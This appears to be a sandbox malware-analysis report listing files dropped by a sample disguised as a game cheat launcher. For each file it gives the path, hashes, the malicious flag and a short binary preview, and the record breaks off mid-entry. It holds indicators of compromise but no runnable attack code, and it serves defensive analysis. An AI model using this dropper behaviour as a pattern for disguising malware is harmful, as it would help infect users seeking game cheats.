MD5:	E31F5136D91BAD0FCBCE053AAC798A30
SHA1:	EE785D2546AEC4803BCAE08CDEBFD5D168C42337
SHA-256:	EE94E2201870536522047E6D7FE7B903A63CD2E13E20C8FFFC86D0E95361E671
SHA-512:	A1543EB1D10D25EFB44F9EAA0673C82BFAC5173055D04C0F3BE4792984635A7C774DF57A8E289F840627754A4E595B855D299070D469E0F1E637C3F35274ABE6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{-..?LtU?LtU?LtU64.U-LtU_6uT=LtU_6.U7LtU_6qT2LtU_6pT7LtU_6wT;LtU[6uT=LtU?LuU.LtUt4uT4LtU[6pT.LtU[6tT>LtU[6.U>LtU?L.U>LtU[6vT>LtURich?LtU........PE..d...._.e.........." ... ............0........................................`............`....................................................T....@...........K...........P..x... F..T............................D..@............0..p............................text............................... ..`.rdata.."....0......................@..@.data...(/.......&..................@....pdata...K.......L..................@..@.rsrc........@......................@..@.reloc..x....P....... ..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590112
Entropy (8bit):	6.461915792957004
Encrypted:	false
SSDEEP:	12288:RI88L4Wu4+oJ+xc39ax5Ms4ETs3rxSvYcRvbQEKZm+jWodEEVhQ:RD89rxZCQEKZm+jWodEEPQ
MD5:	7B92A6CB5D2CAD407C457AB12D2B211D
SHA1:	E04020B3448FC6084FA31B7F791F22FF15E31328
SHA-256:	3C6A772319FFF3EE56D4CEDBE332BB5C0C2F394714CF473C6CDF933754114784
SHA-512:	B28740C1ACA4F0F60A9E4A9AB5A0561AF774D977AB6D42A7EEA70C9E560C77C50BE5D9D869F05D0435E2923F4F600219335D22425807AB23CBBCDA75442C4B42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........LS..-=..-=..-=.....-=..U...-=..-<.k-=.gB<..-=.gB9..-=.gB>..-=.gB8.=-=.gB=..-=.gB..-=.gB?..-=.Rich.-=.........PE..d....).^.........." .....@..........."...............................................&....`A.........................................j..h....D..,...............L;...... A......(...@...8...............................0............P.......f..@....................text...,>.......@.................. ..`.rdata..r....P.......D..............@..@.data....:...`..."...N..............@....pdata..L;.......<...p..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	101664
Entropy (8bit):	6.571798459921823
Encrypted:	false
SSDEEP:	1536:sC6b39cL/iRDhXq4GZLAy10i5XNC83tTPw98APXbxecbSQ25I4I/Cq:sVPphXq30yvXL5APbxecbSDu
MD5:	7A2B8CFCD543F6E4EBCA43162B67D610
SHA1:	C1C45A326249BF0CCD2BE2FBD412F1A62FB67024
SHA-256:	7D7CA28235FBA5603A7F40514A552AC7EFAA67A5D5792BB06273916AA8565C5F
SHA-512:	E38304FB9C5AF855C1134F542ADF72CDE159FAB64385533EAFA5BB6E374F19B5A29C0CB5516FC5DA5C0B5AC47C2F6420792E0AC8DDFF11E749832A7B7F3EB5C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!/.NeNl.eNl.eNl....gNl.l6..nNl.eNm.INl..>o.hNl..>h.uNl..>i.zNl..>l.dNl..>..dNl..>n.dNl.RicheNl.................PE..d....Y._.........." .........^......p.....................................................`A........................................`1..4....9.......p.......P.......L.. A..........H...T...............................0............................................text............................... ..`.rdata...?.......@..................@..@.data...0....@.......4..............@....pdata.......P.......8..............@..@_RDATA.......`.......D..............@..@.rsrc........p.......F..............@..@.reloc...............J..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\ws2_32.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	426688
Entropy (8bit):	6.149945537615476
Encrypted:	false
SSDEEP:	6144:0LYcepnIinzqyUMCLJ16iYRrKWr3GIIGepi6/GDQez5NzLJpyM7BVl7+jBSEYdRU:5d+iiYxKdns6+Dl5NpdqmU
MD5:	F1FAFC04216614EC5C7B8C6A82394DFD
SHA1:	5B6966D9AF7BCF687AAB982C26EFE1C2ADFAFF18
SHA-256:	7E412388C871F5F1D1651DA11689EB82A7E4C5785409EC2753CFC4BE484D910E
SHA-512:	0828267F5036B105982B2FC351C1C40D06AE4853ACE76F131DC44D8DEC0F9281B4FECAB52CE273E2D9DE06B95B8CE47AF093689B9F9304DE3577D47A3853F599
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z!U..O...O...O..pN...O..pL...O..pK...O..c....O...N.I.O..pO...O..pB...O..p....O..pM...O.Rich..O.................PE..d......I.........." .....4...$.......C...................................................`A........................................@...X....................0...0...R...0......P....p..T............................P..............@Z......d........................text............................... ..`.wpp_sf.2/... ...0.................. ..`.rdata.......P.......8..............@..@.data........ ......................@....pdata...0...0...2..................@..@.didat.......p.......:..............@....rsrc................<..............@..@.reloc..P............P..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.Dir\zlib1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	116428
Entropy (8bit):	6.4010071863984805
Encrypted:	false
SSDEEP:	3072:wsuxy/bjdeT1dtDCV8SSsfj7cTpHTBfQjxcHE2Fl:wsZ/bRe5PDCV8SLfcFTBIjxyE2Fl
MD5:	75365924730B0B2C1A6EE9028EF07685
SHA1:	A10687C37DEB2CE5422140B541A64AC15534250F
SHA-256:	945E7F5D09938B7769A4E68F4EF01406E5AF9F40DB952CBA05DDB3431DD1911B
SHA-512:	C1E31C18903E657203AE847C9AF601B1EB38EFA95CB5FA7C1B75F84A2CBA9023D08F1315C9BB2D59B53256DFDB3BAC89930252138475491B21749471ADC129A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...........1.....&"...#.6..........P..........A.............................@.......Y....`... ..............................................................................0.................................(.......................h............................text....5.......6..................`.P`.data........P.......:..............@.P..rdata..@U...`...V...<..............@.`@.pdata..............................@.0@.xdata..h...........................@.0@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....X...........................@.@..tls......... ......................@.@..reloc.......0......................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Solara.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	13558033
Entropy (8bit):	7.997870426725852
Encrypted:	true
SSDEEP:	196608:ydHcg7xS34u7u/GsBVK6CpjKqdsz6s6n533xjnBKGewxVeA4bLljlNVhtGcLcTBJ:6H434u6Ghpf+TwIWgnJJNV/GybG3
MD5:	25AED52C3249333DD8F3E5F8C3630F5A
SHA1:	60FE21F4312F45A9CF97CF6454E51FDD7145EE03
SHA-256:	587DBCCCA7D8A07ECB47CDBAA079E40FC4F38116251AC140347FF874F918FFA0
SHA-512:	716CE96DFB305BB9AE4882CA781A81D9424780C9F7EA03432B8CA437153D60BF6004189B4384DFBD75281E46A57B366C3C8E34145570E1FC593B7E50616B270E
Malicious:	false
Preview:	PK........XR.X.4.c.+..(`..,...Solara.Dir/api-ms-win-crt-convert-l1-1-0.dll.y\|L....,Id...D.Db7..l%d..I$.T..df.....%.....N....ZZJ.ZCi..=..UK.E.v...;..o......^......9.9.Y.s...G8...x....D.........d.......9%r..L.V.Ky..R....e<.N.+y...R.T...[.......\|....).-h.....t.\|}...g.%%t=[_2........J..>..sg{.d..-{3..1.&..a.X.L..,..h.~.L....z.".n+..P..cQ.'.G....r........bB.[..Cm..u....!j.ZB..Q.:.sd.G.{.............z....~.....:..7.......^5..d.g.....+..gO\&.j..r%_...%e...B...2i...o}_.M...T..0a.............G3...)...h..qL2!qp...-!....D.m..!- ..KH....\|....WA3h...H.c....\|...K.1..s..$.......=.'p.p:....A.P.9`.8..~...C.....@#..\;....\|....Z./p.....@...P....s'B..A@.....[p.<.-:..0....0.\|.....9p.p....".0..5`%..\././..>H...x0.....y....b}..0....6p....... ...*0...;.)p.t.:..9`.....7.g..xa.{..P.&...s.......XC....@.....k....+..k.........{p..... .H@5....`.;.7.0..S........_.g4..:..\|..g..k....I`9h.'.-@.~.@...R0.,...~....^..XG>H....X.....}..5..b@......`'8...w.c0....$..l...e...`.C.PP

C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\CheatLauncherV2.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.677524556734161
Encrypted:	false
SSDEEP:	192:konexQO0FoAWyEfJkVIaqaLHmr/XKT0ifnTJ1jvVXctNjA:HnexHAWyEfJoIaqayzKAifd1LVEj
MD5:	6557BD5240397F026E675AFB78544A26
SHA1:	839E683BF68703D373B6EAC246F19386BB181713
SHA-256:	A7FECFC225DFDD4E14DCD4D1B4BA1B9F8E4D1984F1CDD8CDA3A9987E5D53C239
SHA-512:	F2399D34898A4C0C201372D2DD084EE66A66A1C3EAE949E568421FE7EDADA697468EF81F4FCAB2AFD61EAF97BCB98D6ADE2D97295E2F674E93116D142E892E97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....)............"...0.............I... ...`....@.. ....................................`.................................?I..O....`...............................H..8............................................ ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............2..............@..B................sI......H........'... ...........................................................0..;........r...p.(....(...............(...+}......~.......(......9...............(...+}.......}.......6}.......}...... ....}........0..{....+..}......~.......(...........,'.(......r'..p..(....(....(.......s....z..........(...+}.......~.......(....&......%.......%.......%..........+'.(......r=..p..(....(....(.......s....z..6..(.............0...........(....o......rS..p(.........+8...........o..........

C:\Users\user\AppData\Local\Temp\_MEI6522\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:	1536:+qvQ1Dj2DkX7OcujarvmdlYNABCmgrP4ddbkZIecbWcFML/UXzlghzdMFw84hzk:+qvQ1D2CreiABCmgYecbWVLUD6h+b4ho
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI6522\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49944
Entropy (8bit):	7.787272734180523
Encrypted:	false
SSDEEP:	768:MXjTDOU1Mkw8KBJ7QlIRZcz63VPzH8y5GNexMpO/IjCVD0P5YiSyvEAMxkE4s:GnO7kwXBJ78OZENkB/IjCVDc7SyqxJ
MD5:	980EFF7E635AD373ECC39885A03FBDC3
SHA1:	9A3E9B13B6F32B207B065F5FCF140AECFD11B691
SHA-256:	B4411706AFC8B40A25E638A59FE1789FA87E1CE54109BA7B5BD84C09C86804E1
SHA-512:	241F9D3E25E219C7B9D12784AB525AB5DED58CA623BC950027B271C8DFB7C19E13536F0CAF937702F767413A6D775BED41B06902B778E4BAD2946917E16AD4EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o~..+...+...+..."g..!...-...)...-.i.(...-...&...-...#...-.../...D...(...`g..)...+...t...D...#...D......D.k....D...*...Rich+...........................PE..d....K.f.........." ...&.............t....................................................`.............................................H....................0..8.....................................................@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60696
Entropy (8bit):	7.826186640993217
Encrypted:	false
SSDEEP:	1536:dQm2JyhT7X84MYNbLlJRiQFM+pIWHIjLPj+7SyANx4:dQ9JyhT7nHnjFXeiIjLPj+6U
MD5:	A8CB7698A8282DEFD6143536ED821EC9
SHA1:	3D1B476B9C042D066DE16308D99F1633393A497A
SHA-256:	40D53A382A78B305064A4F4DF50543D2227679313030C9EDF5EE82AF23BF8F4A
SHA-512:	1445AE7DC7146AFBE391E131BAFF456445D7E96A3618BFEF36DC39AF978DD305E3A294ACD62EE91A050812C321A9EC298085C7AD4EB9B81E2E40E23C5A85F2CC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&e..b..b..b..k\|H.d..d..`..d..n..d..j..d..f.....`..)\|.c..)\|.d...x.a..b........d.....c....$.c.....c..Richb..................PE..d....K.f.........." ...&............P-.......................................P............`.........................................HL.......I.......@.......................L......................................`9..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	107800
Entropy (8bit):	7.9398737446938865
Encrypted:	false
SSDEEP:	3072:drlajXG60D6JCd/WQG+nA1kR6rLlG/iIjOql7ph:dsC60D6Y/WKAEggD7n
MD5:	CCFAD3C08B9887E6CEA26DDCA2B90B73
SHA1:	0E0FB641B386D57F87E69457FAF22DA259556A0D
SHA-256:	BAD3948151D79B16776DB9A4A054033A6F2865CB065F53A623434C6B5C9F4AAD
SHA-512:	3AF88779DB58DCAE4474C313B7D55F181F0678C24C16240E3B03721B18B66BDFB4E18D73A3CEF0C954D0B8E671CF667FC5E91B5F1027DE489A7039B39542B8CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hW.....................f.......f.......f.......f.......f......................f.......f.......f.......f.......f......Rich............PE..d...yK.f.........." ...&.p................................................... ............`.............................................P.......................`'......................................................@...........................................UPX0....................................UPX1.....p.......d..................@....rsrc................h..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36632
Entropy (8bit):	7.660102821783565
Encrypted:	false
SSDEEP:	768:u665W8yKNUYvmiOhWzYda7jeWMl9pcgvIjOIOL5YiSyveAMxkEQ:TXg6iLYosugvIjOIO17Sy0xs
MD5:	89F3C173F4CA120D643AAB73980ADE66
SHA1:	E4038384B64985A978A6E53142324A7498285EC4
SHA-256:	95B1F5EFF9D29EB6E7C6ED817A12CA33B67C76ACEA3CB4F677EC1E6812B28B67
SHA-512:	76E737552BE1CE21B92FA291777EAC2667F2CFC61AE5EB62D133C89B769A8D4EF8082384B5C819404B89A698FCC1491C62493CF8FF0DCC65E01F96B6F7B5E14F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~z.A:...:...:...3ca.>...<...8...<...6...<...2...<...9...U...8...qc..8.......9...:.......U...;...U...;...U...;...U...;...Rich:...........................PE..d....K.f.........." ...&.P..........@!.......................................@............`.........................................\|;..P....9.......0.......................;......................................@-..@...........................................UPX0....................................UPX1.....P.......P..................@....rsrc........0.......T..............@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	88344
Entropy (8bit):	7.9217264947224155
Encrypted:	false
SSDEEP:	1536:Ak3ep7MJoKbCKmzzYu0RgKYtpreDVERxzTykTwTGcIjZ14S7SyWxq:NeRgFWKNZRZCeDVEz81IjZ14Sv
MD5:	05ADB189D4CFDCACB799178081D8EBCB
SHA1:	657382AD2C02B42499E399BFB7BE4706343CECAB
SHA-256:	87B7BAE6B4F22D7D161AEFAE54BC523D9C976EA2AEF17EE9C3CF8FE958487618
SHA-512:	13FC9204D6F16A6B815ADDF95C31EA5C543BF8608BFCC5D222C7075DD789551A202AE442FDDC92EA5919ECF58BA91383A0F499182B330B98B240152E3AA868C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........3..MRu.MRu.MRu.D..IRu.K.t.ORu.K.p.ARu.K.q.ERu.K.v.NRu.".t.NRu..t.ORu.MRt.(Ru.".x.wRu.".u.LRu."..LRu.".w.LRu.RichMRu.........................PE..d....K.f.........." ...&. ................................................................`.........................................4...L....................P..........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26904
Entropy (8bit):	7.414292519859785
Encrypted:	false
SSDEEP:	384:F6I92F0lWEJlgaSrBdgZc8PI8rZa7gJXi+IjQUONSHQIYiSy1pCQy1SAM+o/8E9o:+AvSrBFgpS+IjQUOG5YiSyvwSAMxkEBo
MD5:	FC796FCDE996F78225A4EC1BED603606
SHA1:	5389F530AAF4BD0D4FCE981F57F68A67FE921EE1
SHA-256:	C7C598121B1D82EB710425C0DC1FC0598545A61FFB1DD41931BB9368FB350B93
SHA-512:	4D40E5A4AB266646BEDACF4FDE9674A14795DCFB72AAE70A1C4C749F7A9A4F6E302A00753FE0446C1D7CC90CAEE2D37611D398FDC4C68E48C8BC3637DFD57C15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\.~...~...~.......~.......~.......~.......~.......~.......~.......~...~...~.......~.......~....}..~.......~..Rich.~..................PE..d....K.f.........." ...&.0...............................................................`.............................................L.......P............`..............<..........................................@...........................................UPX0....................................UPX1.....0.......*..................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45336
Entropy (8bit):	7.7154595033515205
Encrypted:	false
SSDEEP:	768:P3lDDHqvff0W1WMxvs0xeAlFWJpQT0IjLwDBR5YiSyvyAMxkEo:P3lDKfns0P9T0IjLwDBf7Sy4xU
MD5:	F8D03997E7EFCDD28A351B6F35B429A2
SHA1:	1A7AE96F258547A14F6E8C0DEFE127A4E445206D
SHA-256:	AEF190652D8466C0455311F320248764ACBFF6109D1238A26F8983CE86483BF1
SHA-512:	40C9BCE421C7733DF37558F48B8A95831CC3CF3E2C2CDF40477B733B14BD0A8A0202BC8BC95F39FCD2F76D21DEAC21AD1A4D0F6218B8F8D57290968163EFFEF8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D.i....}...}...}..}...}.0.\|...}.0.\|...}.0.\|...}.0.\|...}o0.\|...}...}...}K..\|...}o0.\|...}o0.\|...}o0.}...}o0.\|...}Rich...}........PE..d....K.f.........." ...&.p...........q....................................................`.........................................D...P....................0.......................................................}..@...........................................UPX0....................................UPX1.....p.......p..................@....rsrc................t..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	59160
Entropy (8bit):	7.838571808927336
Encrypted:	false
SSDEEP:	1536:gXwJUS8MhCTn+6CEO3k/BSJIjOQzZ7SycxdN:g0UKDv3kqIjOQzZU
MD5:	3D85E2AA598468D9449689A89816395E
SHA1:	E6D01B535C8FC43337F3C56BFC0678A64CF89151
SHA-256:	6F0C212CB7863099A7CE566A5CF83880D91E38A164DD7F9D05D83CCE80FA1083
SHA-512:	A9A527FC1FCCE3FFE95E9E6F4991B1A7156A5CA35181100EA2A25B42838B91E39DD9F06F0EFEDB2453AA87F90E134467A7662DBBE22C6771F1204D82CC6CEA82
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~..~..~...P..~.....~...>..~.....~.....~......~.....~.....~..~........~.....~...<..~......~.Rich.~.........PE..d....K.f.........." ...&.........p...........................................@............`..........................................;..P....9.......0..........h............;.......................................%..@...........................................UPX0.....p..............................UPX1................................@....rsrc........0......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67352
Entropy (8bit):	7.864633161053976
Encrypted:	false
SSDEEP:	1536:1zWUwgWT4zVJqpgI36lYp3rf4prHoStjjdIjC7I9x7SytqxcV+9:d9JUgC6lgrQvjxIjC7IzVVK
MD5:	615BFC3800CF4080BC6D52AC091EC925
SHA1:	5B661997ED1F0A6EA22640B11AF71E0655522A10
SHA-256:	1819DD90E26AA49EB40119B6442E0E60EC95D3025E9C863778DCC6295A2B561F
SHA-512:	1198426B560044C7F58B1A366A9F8AFCDE1B6E45647F9AE9C451FB121708AA4371673815BE1D35AD1015029C7C1C6EA4755EB3701DBF6F3F65078A18A1DAEACB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&h^.G...G...G...?...G.......G.......G.......G.......G.......G.......G...G..eF...?...G.......G.......G.......G.......G..Rich.G..................PE..d....K.f.........." ...&.........@.......P...................................0............`.........................................l,..d....)....... ..........P............,..........................................@...........................................UPX0.....@..............................UPX1.........P......................@....rsrc........ ......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1333651
Entropy (8bit):	5.5868779115750264
Encrypted:	false
SSDEEP:	12288:uttcY+bS4OmE1jc+fYNXPh26UZWAzDX7jOIqL3CjHgopRdmoPFHz1dcfsFvaYcIe:uttcY+NHSPD/e2cqRdmoPxzQIaYcIe
MD5:	8DAD91ADD129DCA41DD17A332A64D593
SHA1:	70A4EC5A17ED63CAF2407BD76DC116ACA7765C0D
SHA-256:	8DE4F013BFECB9431AABAA97BB084FB7DE127B365B9478D6F7610959BF0D2783
SHA-512:	2163414BC01FC30D47D1DE763A8332AFE96EA7B296665B1A0840D5197B7E56F4963938E69DE35CD2BF89158E5E2240A1650D00D86634AC2A5E2AD825455A2D50
Malicious:	false
Preview:	PK..........!.x[_C............_collections_abc.pyc......................................Z.....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.............Z...e.d.........Z.d...Z...e.e.........Z.[.g.d...Z.d.Z...e...e.d.................Z...e...e...e.........................Z...e...e.i.j%..........................................Z...e...e.i.j)..........................................Z...e...e.i.j-..........................................Z...e...e.g.................Z...e...e...e.g.........................Z...e...e...e.d.........................Z...e...e...e.d.d.z...........................Z...e...e...e.........................Z...e...e.d.................Z ..e...e.d.................Z!..e...e...e"........................Z#..e.i.j%..................................Z$..e.i.j)..................................Z%..e.i.j-..................................Z&..e.e.jN..........................Z(..e...d...................Z)d...Z..e........Z..e.e........Z+ejY............................[d...Z-..e-........

C:\Users\user\AppData\Local\Temp\_MEI6522\blank.aes

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	118299
Entropy (8bit):	7.698988090252962
Encrypted:	false
SSDEEP:	3072:B6+U5EnMK13/uEbKF6MzoHP/MtNLEndPfP:HU53ebKBtw1fP
MD5:	5D5AC02B4EDE50180EC2C99893813DB7
SHA1:	59C28FFBBBF0832F77E647CEE93F8032441DABA5
SHA-256:	AF899B23036DBDDD4E89E81E3D5637AA8325FF544C9C39ADB4065385B54809B5
SHA-512:	E701D6444A1392A0FB6B5E40580CAC5D335E952BF5E4DE117BD99D5086CF17B9FD4C1E6F5608F219D0991BC39D33DBC66A4D5C35CC7C19CC8AD13D542E9960FE
Malicious:	false
Preview:	PK........(v.X................stub-o.pyc..........lf.(...............................e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j...................................Z.d...Z.d.Z.....e...e.....e...e...e.g.d...........j.....................................e.g.d...........j.....................................e.g.d...................j.......

C:\Users\user\AppData\Local\Temp\_MEI6522\libcrypto-3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1635096
Entropy (8bit):	7.95287803315892
Encrypted:	false
SSDEEP:	49152:z6H83HeiR86t/czBf6Y1z8kq5HaMpW/9nn3nL/obN1CPwDvt3uFlDCP:z6c3CFFz8BBpWtbU1CPwDvt3uFlDCP
MD5:	7F1B899D2015164AB951D04EBB91E9AC
SHA1:	1223986C8A1CBB57EF1725175986E15018CC9EAB
SHA-256:	41201D2F29CF3BC16BF32C8CECF3B89E82FEC3E5572EB38A578AE0FB0C5A2986
SHA-512:	CA227B6F998CACCA3EB6A8F18D63F8F18633AB4B8464FB8B47CAA010687A64516181AD0701C794D6BFE3F153662EA94779B4F70A5A5A94BB3066D8A011B4310D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l..l..l......l...m..l...i..l...h..l...o..l..m.y.l...m...l...o..l...h.l...l..l......l...n..l.Rich.l.........PE..d......e.........." ...%.0........9.`.O...9...................................R...........`......................................... .P......P.h.....P.......K.d............R..................................... .O.@...........................................UPX0......9.............................UPX1.....0....9..0..................@....rsrc.........P......4..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI6522\libffi-8.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Built.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
